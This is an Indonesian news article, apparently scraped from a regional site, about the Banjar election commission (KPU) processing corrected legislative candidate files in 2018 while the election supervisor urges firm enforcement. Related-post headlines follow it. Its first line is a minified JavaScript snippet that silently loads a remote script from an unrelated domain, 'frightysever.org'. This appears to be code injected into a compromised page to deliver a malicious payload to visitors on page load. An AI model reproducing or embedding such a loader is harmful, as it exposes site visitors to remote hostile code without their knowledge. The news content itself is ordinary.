(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Banjar Diminta Tak Gamang Tetapkan DCS Caleg!


MARTAPURA, Sejumlah perwakilan parpol yang akan tarung dalam Pileg di Kabupaten Banjar telah menyerahkan berkas perbaikan bakal calon legislatif (Bacaleg), Selasa (31/7). Bahkan hingga Rabu (1/8) dini hari, kesibukan masih terlihat di KPU Banjar. Kini memasuki tahap penyusunan daftar calon sementara (DCS) caleg, Bawaslu Banjar minta KPU tidak ragu mencoret yang tak lengkap persyaratannya!

Ketua KPU Banjar Muhaimin S.Ag mengatakan, ramainya parpol ke kantornya dalam rangka menyerahkan berkas perbaikan. Dari hasil verifikasi pertama, KPU menyatakan banyak Bacaleg yang masih belum lengkap persyaratan administrasinya.

“Setiap partai mempunyai catatan masing-masing yang harus mereka lengkapi. Paling banyak dari sisi administrasi seperti SKCK yang belum ada, ijazah yang belum dilegalisir,” ujarnya.

Dari sebanyak 581 bacaleg, 25% belum melengkapi administrasi. Sebelumnya KPU Banjar telah memberikan kesempatan selama 10 hari untuk memperbaiki persyaratan-persyaratan tersebut hingga batas waktu yang ditentukan tanggal 31 Juli 2018.

Menurut Muhaimin,  tenggang waktu untuk melengkapi atau perbaikan berkas telah cukup panjang. Sehingga hal itu harus dimanfaatkan para bacaleg sebaik-baiknya. Jika sampai batas akhir tidak juga dilengkapi, maka terpaksa dicoret dari pencalonan. “Kami tetap layani hingga batas akhir malam ini yaitu pukul 24.00 Wita. Sesuai Peraturan KPU, namun apabila tidak lengkap berkas persyaratannya hingga waktu yang ditentukan maka akan dicoret,”tegasnya

Divisi Teknis Pencalonan KPU Kabupaten Banjar M Zain menambahkan, terhitung dari tanggal 22 sampai 31 Juli, merupakan masa perbaikan berkas. Hal ini sebagaimana peraturan Komisi Pemilihan Umum Republik Indonesia No 20 tahun 2018 adalah masa perbaikan daftar calon dan syarat calon serta pengajuan bakal calon pengganti anggota DPR, DPRD Provinsi dan DPRD Kabupaten/Kota.

“Pengajuan bakal calon oleh Partai Politik hanya dilakukan 1 (satu) kali pada masa pengajuan sebagaimana dimaksud, jadi diharapkan untuk benar-benar melengkapi pengajukan persyaratan tersebut,” jelasnya.

Menurut Zain, dalam tahapan tersebut jangan sampai ada parpol yang mengganti bacalegnya sebelum tahap Daftar Calon Sementara (DCS). Mengingat belum saatnya untuk melakukan pergantian. Penyusunan dan penatapan DCS akan dilaksanakan KPU Banjar pada tanggal 8-12 Agustus. Sedangkan untuk pengumuman akan dilakukan pada tanggal 12-14 Agustus.

“Pergantian bacaleg yang paling mungkin adalah pada masa DCS, dengan tiga persyaratan seperti tanggapan masyarakat tentang kelengkapan berkas pemalsuan dokumen yang sudah berketetapan hukum, meninggal dunia dan mengundurkan diri,” jelasnya.

Masih di tempat yang sama, Panwaslu Banjar kemarin terus mengawasi bergulirnya waktu penyerahan berkas perbaikan tersebut hingga batas waktu pukul 24.00 Wita. Ketua Bawaslu Banjar Ramliannoor berharap KPU Banjar bisa bersikap tegas sesuai dengan Peraturan KPU dan menutup masa perbaikan sesuai dengan yang sudah menjadi peraturan. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

26 menit ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

13 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

16 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

22 jam ago

This website uses cookies.